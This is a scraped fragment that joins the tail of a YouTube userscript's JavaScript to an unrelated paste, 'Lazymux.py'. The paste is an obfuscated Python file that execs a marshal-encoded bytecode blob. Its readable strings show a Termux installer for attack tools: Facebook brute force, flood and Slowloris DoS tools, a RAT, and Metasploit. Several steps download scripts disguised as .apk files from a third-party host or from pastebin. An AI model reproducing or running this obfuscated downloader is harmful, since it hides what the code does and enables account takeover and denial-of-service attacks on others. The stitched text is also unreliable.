|\.10\./i, ' Oct, '); day = day.replace(/ нояб\. | ноября | лист\. |\.11\./i, ' Nov, '); day = day.replace(/ дек\. | декабря | груд\. |\.12\./i, ' Dec, '); day = day.replace(/ г\.| р\./i, ''); return day; } function Aparse(text) { if (ytmode === 1) { var isNew = true; } else { var isNew = false; } text = text.replace(/&/g, '&'); text = text.replace(/</g, '<'); text = text.replace(/>/g, '>'); text = text.replace(/\r\n/g, '<br>'); if (isNew) { text = text.replace(/\[(.+?)\]\((.+?)\)/g, '<a href="$2" target="_blank" style="color:rgba(39,147,230,1);">$1</a>'); } else { text = text.replace(/\[(.+?)\]\((.+?)\)/g, '<a href="$2" target="_blank">$1</a>'); } text = text.replace(/\*\*(.*?)\*\*/g, '<b>$1</b>'); text = text.replace(/\*(.*?)\*/g, '<i>$1</i>'); text = text.replace(/__(.*?)__/g, '<u>$1</u>'); return text; } function currentlang() { return regexlang.exec(document.body.innerHTML)[1]; } function currentlangmob() { return document.documentElement.lang; } function getURLParameter(name, link) { return decodeURIComponent((new RegExp('[?|&]' + name + '=([^&;]+?)(&|#|;|$)').exec(link) || [null, ''])[1].replace(/\+/g, '%20')) || null; } function ytOldDesign() { var getDesignCookie = function (cookie) { var prefs = cookie.split("; ").filter(function (v) { return v.indexOf("PREF=") === 0; })[0]; if (!prefs) { return "PREF=f6=8"; } var entries = prefs.substr(5).split('&'); var set = false; for (var i = 0; i < entries.length; i++) { if (entries[i].indexOf("f6=") === 0) { set = true; entries[i] = "f6=8"; } } if (!set) { entries.push("f6=8"); } return "PREF=" + entries.join('&'); }; document.cookie = getDesignCookie(document.cookie) + ";domain=.youtube.com;path=/"; } function ytNewDesign() { var requestSw = new XMLHttpRequest(); requestSw.open("POST", "https://www.youtube.com/new?optin=true", true); requestSw.send(null); } function parseColor(color, toNumber) { if (toNumber === true) { if (typeof color === 'number') { return (color | 0); } if (typeof color === 'string' && color[0] === '#') { color = color.slice(1); } return parseInt(color, 16); } else { color = '#' + ('00000' + (color | 0).toString(16)).substr(-6); return color; } } $(window).focus(function() { bDBlur = 0; }); $(window).blur(function() { bDBlur = 1; }); function getpage(callback, jNode, url) { var request = new XMLHttpRequest(); request.onreadystatechange = function() { if (request.readyState === 4) { if (request.status === 200) { if (request.responseText !== "") { console.log("[MetaBot for Youtube] XMLHttpRequest done: " + url); callback(jNode, request.responseText, url); } } } }; request.open("GET", url, true); request.send(null); } function getlist(callback, numArr, url) { if (typeof GM_xmlhttpRequest !== 'undefined') { GM_xmlhttpRequest({ method: "GET", url: url, onload: function(response) { callback(numArr, response.responseText, response.status, url); } }); } else if (typeof GM !== 'undefined') { GM.xmlHttpRequest({ method: "GET", url: url, onload: function(response) { callback(numArr, response.responseText, response.status, url); } }); } else { console.log("[MetaBot for Youtube] Unable to get supported cross-origin XMLHttpRequest function."); } } function waitForKeyElements(selectorTxt, actionFunction, bWaitOnce, iframeSelector) { var targetNodes, btargetsFound; if (typeof iframeSelector == "undefined") targetNodes = $(selectorTxt); else targetNodes = $(iframeSelector).contents().find(selectorTxt); if (targetNodes && targetNodes.length > 0) { btargetsFound = true; targetNodes.each(function() { var jThis = $(this); var alreadyFound = jThis.data('alreadyFound') || false; if (!alreadyFound) { var cancelFound = actionFunction(jThis); if (cancelFound) btargetsFound = false; else jThis.data('alreadyFound', true); } }); } else { btargetsFound = false; } var controlObj = waitForKeyElements.controlObj || {}; var controlKey = selectorTxt.replace(/[^\w]/g, "_"); var timeControl = controlObj[controlKey]; if (btargetsFound && bWaitOnce && timeControl) { clearInterval(timeControl); delete controlObj[controlKey]; } else { if (!timeControl) { timeControl = setInterval(function() { waitForKeyElements(selectorTxt, actionFunction, bWaitOnce, iframeSelector); }, 300); controlObj[controlKey] = timeControl; } } waitForKeyElements.controlObj = controlObj; }
PsycoRo6otGX1 / Lazymux.ptimport marshal exec(marshal.loads('''c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00@\x00\x00\x00sH\x0f\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00d\x02\x00\x84\x00\x00Z\x02\x00e\x00\x00j\x03\x00d\x03\x00\x83\x01\x00\x01d\x04\x00GHd\x05\x00GHd\x06\x00GHd\x07\x00GHd\x08\x00GHd\t\x00GHd\n\x00GHd\x0b\x00GHd\x0c\x00GHd\r\x00GHd\x0e\x00GHd\x0f\x00GHHd\x10\x00GHd\x11\x00GHd\x12\x00GHd\x13\x00GHd\x14\x00GHd\x15\x00GHd\x16\x00GHd\x17\x00GHd\x18\x00GHd\x19\x00GHd\x1a\x00GHd\x1b\x00GHd\x1c\x00GHd\x1d\x00GHd\x1e\x00GHd\x1f\x00GHd \x00GHd!\x00GHd"\x00GHd#\x00GHe\x04\x00d$\x00\x83\x01\x00Z\x05\x00e\x05\x00j\x06\x00\x83\x00\x00d%\x00j\x07\x00\x83\x00\x00k\x06\x00rX\x01d&\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d(\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d)\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d*\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d+\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d,\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xec\re\x05\x00j\x06\x00\x83\x00\x00d.\x00j\x07\x00\x83\x00\x00k\x06\x00r\xa1\x01d/\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d0\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xa3\re\x05\x00j\x06\x00\x83\x00\x00d1\x00j\x07\x00\x83\x00\x00k\x06\x00r\xe0\x01d2\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d3\x00\x83\x01\x00\x01d-\x00GHnd\re\x05\x00j\x06\x00\x83\x00\x00d4\x00j\x07\x00\x83\x00\x00k\x06\x00rj\x02d5\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d6\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d7\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d8\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d9\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d:\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d;\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xda\x0ce\x05\x00j\x06\x00\x83\x00\x00d<\x00j\x07\x00\x83\x00\x00k\x06\x00r\xda\x02d=\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d>\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d?\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d@\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dA\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01nj\x0ce\x05\x00j\x06\x00\x83\x00\x00dB\x00j\x07\x00\x83\x00\x00k\x06\x00r0\x03dC\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dD\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dE\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x14\x0ce\x05\x00j\x06\x00\x83\x00\x00dF\x00j\x07\x00\x83\x00\x00k\x06\x00r\x86\x03dG\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dH\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dI\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xbe\x0be\x05\x00j\x06\x00\x83\x00\x00dJ\x00j\x07\x00\x83\x00\x00k\x06\x00r\xc2\x03dK\x00GHe\x00\x00j\x03\x00dL\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x82\x0be\x05\x00j\x06\x00\x83\x00\x00dM\x00j\x07\x00\x83\x00\x00k\x06\x00r\x18\x04dN\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dO\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dP\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n,\x0be\x05\x00j\x06\x00\x83\x00\x00dQ\x00j\x07\x00\x83\x00\x00k\x06\x00rn\x04dR\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dO\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dS\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xd6\ne\x05\x00j\x06\x00\x83\x00\x00dT\x00j\x07\x00\x83\x00\x00k\x06\x00r\xc4\x04dU\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dO\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dV\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x80\ne\x05\x00j\x06\x00\x83\x00\x00dW\x00j\x07\x00\x83\x00\x00k\x06\x00r\x1a\x05dX\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dY\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dZ\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n*\ne\x05\x00j\x06\x00\x83\x00\x00d[\x00j\x07\x00\x83\x00\x00k\x06\x00r\x97\x05d\\\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d6\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d]\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d^\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d_\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d`\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xad\te\x05\x00j\x06\x00\x83\x00\x00da\x00j\x07\x00\x83\x00\x00k\x06\x00r\xfa\x05db\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dd\x00\x83\x01\x00\x01e\x00\x00j\x03\x00de\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01nJ\te\x05\x00j\x06\x00\x83\x00\x00df\x00j\x07\x00\x83\x00\x00k\x06\x00r]\x06dg\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dh\x00\x83\x01\x00\x01e\x00\x00j\x03\x00di\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xe7\x08e\x05\x00j\x06\x00\x83\x00\x00dj\x00j\x07\x00\x83\x00\x00k\x06\x00r\xc0\x06dk\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dl\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dm\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x84\x08e\x05\x00j\x06\x00\x83\x00\x00dn\x00j\x07\x00\x83\x00\x00k\x06\x00r#\x07do\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d?\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dp\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n!\x08e\x05\x00j\x06\x00\x83\x00\x00dq\x00j\x07\x00\x83\x00\x00k\x06\x00r\x86\x07dr\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00ds\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dt\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xbe\x07e\x05\x00j\x06\x00\x83\x00\x00du\x00j\x07\x00\x83\x00\x00k\x06\x00r\xe9\x07dv\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dw\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dx\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n[\x07e\x05\x00j\x06\x00\x83\x00\x00dy\x00j\x07\x00\x83\x00\x00k\x06\x00r?\x08dz\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d{\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x05\x07e\x05\x00j\x06\x00\x83\x00\x00d|\x00j\x07\x00\x83\x00\x00k\x06\x00r\x95\x08d}\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d~\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xaf\x06e\x05\x00j\x06\x00\x83\x00\x00d\x7f\x00j\x07\x00\x83\x00\x00k\x06\x00r\xeb\x08d\x80\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x81\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01nY\x06e\x05\x00j\x06\x00\x83\x00\x00d\x82\x00j\x07\x00\x83\x00\x00k\x06\x00rA\td\x83\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x84\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x03\x06e\x05\x00j\x06\x00\x83\x00\x00d\x85\x00j\x07\x00\x83\x00\x00k\x06\x00r\x97\td\x86\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x87\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xad\x05e\x05\x00j\x06\x00\x83\x00\x00d\x88\x00j\x07\x00\x83\x00\x00k\x06\x00r\xed\td\x89\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x8a\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01nW\x05e\x05\x00j\x06\x00\x83\x00\x00d\x8b\x00j\x07\x00\x83\x00\x00k\x06\x00rC\nd\x8c\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x8d\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x01\x05e\x05\x00j\x06\x00\x83\x00\x00d\x8e\x00j\x07\x00\x83\x00\x00k\x06\x00r\x99\nd\x8f\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x90\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xab\x04e\x05\x00j\x06\x00\x83\x00\x00d\x91\x00j\x07\x00\x83\x00\x00k\x06\x00r\xef\nd\x92\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x93\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01nU\x04e\x05\x00j\x06\x00\x83\x00\x00d\x94\x00j\x07\x00\x83\x00\x00k\x06\x00rE\x0bd\x95\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dH\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x96\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xff\x03e\x05\x00j\x06\x00\x83\x00\x00d\x97\x00j\x07\x00\x83\x00\x00k\x06\x00r\xa8\x0bd\x98\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x99\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x9a\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x9c\x03e\x05\x00j\x06\x00\x83\x00\x00d\x9b\x00j\x07\x00\x83\x00\x00k\x06\x00r\xfe\x0bd\x9c\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\x9d\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01nF\x03e\x05\x00j\x06\x00\x83\x00\x00d\x9e\x00j\x07\x00\x83\x00\x00k\x06\x00rT\x0cd\x9f\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xa0\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xf0\x02e\x05\x00j\x06\x00\x83\x00\x00d\xa1\x00j\x07\x00\x83\x00\x00k\x06\x00r\xb7\x0cd\xa2\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dH\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xa3\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xa4\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x8d\x02e\x05\x00j\x06\x00\x83\x00\x00d\xa5\x00j\x07\x00\x83\x00\x00k\x06\x00r\r\rd\xa6\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dH\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xa7\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n7\x02e\x05\x00j\x06\x00\x83\x00\x00d\xa8\x00j\x07\x00\x83\x00\x00k\x06\x00rp\rd\xa9\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xaa\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xab\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xd4\x01e\x05\x00j\x06\x00\x83\x00\x00d\xac\x00j\x07\x00\x83\x00\x00k\x06\x00r\xc6\rd\xad\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xae\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n~\x01e\x05\x00j\x06\x00\x83\x00\x00d\xaf\x00j\x07\x00\x83\x00\x00k\x06\x00r\x1c\x0ed\xb0\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xb1\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n(\x01e\x05\x00j\x06\x00\x83\x00\x00d\xb2\x00j\x07\x00\x83\x00\x00k\x06\x00r\x7f\x0ed\xb3\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xb4\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xb5\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\xc5\x00e\x05\x00j\x06\x00\x83\x00\x00d\xb6\x00j\x07\x00\x83\x00\x00k\x06\x00r\xe2\x0ed\xb7\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00dc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xb8\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xb9\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01nb\x00e\x05\x00j\x06\x00\x83\x00\x00d\xba\x00j\x07\x00\x83\x00\x00k\x06\x00r8\x0fd\xbb\x00GHe\x00\x00j\x03\x00d\'\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xbc\x00\x83\x01\x00\x01e\x00\x00j\x03\x00d\xbd\x00\x83\x01\x00\x01d-\x00GHe\x01\x00j\x08\x00\x83\x00\x00\x01n\x0c\x00d\xbe\x00GHe\x02\x00\x83\x00\x00\x01d\x01\x00S(\xbf\x00\x00\x00i\xff\xff\xff\xffNc\x00\x00\x00\x00\x02\x00\x00\x00\x04\x00\x00\x00C\x00\x00\x00s/\x00\x00\x00t\x00\x00j\x01\x00}\x00\x00t\x02\x00j\x03\x00|\x00\x00|\x00\x00t\x00\x00j\x04\x00\x8c\x02\x00\x01t\x02\x00j\x05\x00\x83\x00\x00}\x01\x00d\x00\x00S(\x01\x00\x00\x00N(\x06\x00\x00\x00t\x03\x00\x00\x00syst\n\x00\x00\x00executablet\x02\x00\x00\x00ost\x05\x00\x00\x00execlt\x04\x00\x00\x00argvt\x06\x00\x00\x00getcwd(\x02\x00\x00\x00t\x06\x00\x00\x00pythont\x06\x00\x00\x00curdir(\x00\x00\x00\x00(\x00\x00\x00\x00s\x03\x00\x00\x00<s>t\x0f\x00\x00\x00restart_program\x08\x00\x00\x00s\x06\x00\x00\x00\x00\x01\t\x01\x16\x01t\x05\x00\x00\x00clears)\x00\x00\x00 __ s)\x00\x00\x00| | ___ ___ _ _ _____ _ _ _ _ s)\x00\x00\x00| |__ | .\'||- _|| | || || | ||_\'_| s)\x00\x00\x00|_____||__,||___||_ ||_|_|_||___||_,_| s)\x00\x00\x00 |___| s)\x00\x00\x00 [A] Author: DedSecTL & ID_OUT96 s)\x00\x00\x00 [D] Date: 05-10-2017 (18:22) s)\x00\x00\x00 [G] Blackhole Programming Security s)\x00\x00\x00 [T] AndroSec1337 Cyber Team s)\x00\x00\x00 [G] https://github.com/Gameye98 s)\x00\x00\x00 [B] http://droidsec9798-com.mwapblog.coms)\x00\x00\x00 [B] http://androsec1337.cf s"\x00\x00\x00 [01] Sudo [11] SQLMaps\'\x00\x00\x00 [02] NMap [12] Black Hydras*\x00\x00\x00 [03] Hydra [13] Fl00d & Fl00d2s"\x00\x00\x00 [04] FB Brute Force [14] Infogas#\x00\x00\x00 [05] Webdav [15] LANs.pys"\x00\x00\x00 [06] RED HAWK [16] Pagodos \x00\x00\x00 [07] Brutal [17] FBUPs%\x00\x00\x00 [08] Metasploit [18] KnockMails"\x00\x00\x00 [09] 1337Hash [19] Ufonets#\x00\x00\x00 [10] IPLoc [20] Commix\ns$\x00\x00\x00 [21] D-Tect [31] ReconDogs"\x00\x00\x00 [22] A-Rat [32] Meishas*\x00\x00\x00 [23] Torshammer [33] Kali NetHunters!\x00\x00\x00 [24] Slowloris [34] Ngroks"\x00\x00\x00 [25] DSSS [35] Weemans \x00\x00\x00 [26] SQLiv [36] Cupps\'\x00\x00\x00 [27] Wifite [37] Hash-Busters(\x00\x00\x00 [28] Wifite 2 [38] Routersploits"\x00\x00\x00 [29] MSFPC [39] Ubuntus"\x00\x00\x00 [30] Kwetza [40] Fedoras\x0b\x00\x00\x00\nlazymux > s\x04\x00\x00\x0001 1s\x14\x00\x00\x00---# Installing sudos\x19\x00\x00\x00apt update && apt upgrades\x1d\x00\x00\x00apt install ncurses-utils gits-\x00\x00\x00git clone https://github.com/st42/termux-sudos\x0e\x00\x00\x00cd termux-sudos3\x00\x00\x00cat sudo > /data/data/com.termux/files/usr/bin/sudos2\x00\x00\x00chmod 700 /data/data/com.termux/files/usr/bin/sudos\t\x00\x00\x00---# Dones\x04\x00\x00\x0002 2s\x17\x00\x00\x00---# Installing NMap...s\x10\x00\x00\x00apt install nmaps\x04\x00\x00\x0003 3s\x15\x00\x00\x00---# Installing Hydras\x11\x00\x00\x00apt install hydras\x04\x00\x00\x0004 4s$\x00\x00\x00---# Installing Facebook Brute Forces$\x00\x00\x00apt install python2 python2-dev wgets\x16\x00\x00\x00pip2 install mechanizesh\x00\x00\x00mkdir /data/data/com.termux/files/home/facebook-brute;cd /data/data/com.termux/files/home/facebook-brutes0\x00\x00\x00wget http://override.waper.co/files/facebook.apks0\x00\x00\x00wget http://override.waper.co/files/password.apks8\x00\x00\x00mv facebook.apk facebook.py;mv password.apk password.txts\x04\x00\x00\x0005 5s\x16\x00\x00\x00---# Installing Webdavs4\x00\x00\x00apt install python2 python2-dev openssl curl libcurls2\x00\x00\x00pip2 install urllib3 chardet certifi idna requestssX\x00\x00\x00mkdir /data/data/com.termux/files/home/webdav;cd /data/data/com.termux/files/home/webdavsB\x00\x00\x00curl -k -O https://pastebin.com/raw/HnVyQPtR;mv HnVyQPtR webdav.pys\x04\x00\x00\x0006 6s\x18\x00\x00\x00---# Installing RED HAWKs\x13\x00\x00\x00apt install git phps2\x00\x00\x00git clone https://github.com/Tuhinshubhra/RED_HAWKs\x04\x00\x00\x0007 7s\x16\x00\x00\x00---# Installing Brutals\x0f\x00\x00\x00apt install gitsJ\x00\x00\x00git clone https://github.com/Screetsec/Brutal;cd Brutal;chmod +x Brutal.shs\x04\x00\x00\x0008 8s\x1a\x00\x00\x00---# Installing Metasploits\x14\x00\x00\x00bash meta-install.shs\x04\x00\x00\x0009 9s\x18\x00\x00\x00---# Installing 1337Hashs#\x00\x00\x00apt install git python2 python2-devs.\x00\x00\x00git clone https://github.com/Gameye98/1337Hasht\x02\x00\x00\x0010s\x15\x00\x00\x00---# Installing IPLocs+\x00\x00\x00git clone https://github.com/Gameye98/IPLoct\x02\x00\x00\x0011s\x16\x00\x00\x00---# Installing SQLMaps1\x00\x00\x00git clone https://github.com/sqlmapproject/sqlmapt\x02\x00\x00\x0012s\x1b\x00\x00\x00---# Installing Black Hydras)\x00\x00\x00apt install hydra git python2 python2-devs1\x00\x00\x00git clone https://github.com/Gameye98/Black-Hydrat\x02\x00\x00\x0013s\x1e\x00\x00\x00---# Installing Fl00d & Fl00d2sV\x00\x00\x00mkdir /data/data/com.termux/files/home/fl00d;cd /data/data/com.termux/files/home/fl00ds-\x00\x00\x00wget http://override.waper.co/files/fl00d.apks.\x00\x00\x00wget http://override.waper.co/files/fl00d2.apks-\x00\x00\x00mv fl00d.apk fl00d.py;mv fl00d2.apk fl00d2.pyt\x02\x00\x00\x0014s\x16\x00\x00\x00---# Installing Infogas#\x00\x00\x00apt install python2 python2-dev gits&\x00\x00\x00pip2 install requests urllib3 urlparses*\x00\x00\x00git clone https://github.com/m4ll0k/Infogat\x02\x00\x00\x0015s\x17\x00\x00\x00---# Installing LANs.pys#\x00\x00\x00pip2 install scapy twisted requestss1\x00\x00\x00git clone https://github.com/DanMcInerney/LANs.pyt\x02\x00\x00\x0016s\x16\x00\x00\x00---# Installing Pagodos\x17\x00\x00\x00pip2 install bs4 googles+\x00\x00\x00git clone https://github.com/opsdisk/pagodot\x02\x00\x00\x0017s\x14\x00\x00\x00---# Installing FBUPs2\x00\x00\x00git clone https://github.com/mrSilent0598/FBUPv2.0t\x02\x00\x00\x0018s\x19\x00\x00\x00---# Installing KnockMails!\x00\x00\x00pip2 install validate_email pyDNSs,\x00\x00\x00git clone https://github.com/4w4k3/KnockMailt\x02\x00\x00\x0019s\x16\x00\x00\x00---# Installing Ufonets1\x00\x00\x00pip2 install pycurl geoip whois pycrypto requestss+\x00\x00\x00git clone https://github.com/epsylon/ufonett\x02\x00\x00\x0020s\x16\x00\x00\x00---# Installing Commixs1\x00\x00\x00git clone https://github.com/commixproject/commixt\x02\x00\x00\x0021s\x16\x00\x00\x00---# Installing D-Tects;\x00\x00\x00git clone https://github.com/shawarkhanethicalhacker/D-TECTt\x02\x00\x00\x0022s\x15\x00\x00\x00---# Installing A-Rats(\x00\x00\x00git clone https://github.com/Xi4u7/A-Ratt\x02\x00\x00\x0023s\x1a\x00\x00\x00---# Installing Torshammers2\x00\x00\x00git clone https://github.com/dotfighter/torshammert\x02\x00\x00\x0024s\x19\x00\x00\x00---# Installing Slowloriss,\x00\x00\x00git clone https://github.com/gkbrk/slowlorist\x02\x00\x00\x0025s\x14\x00\x00\x00---# 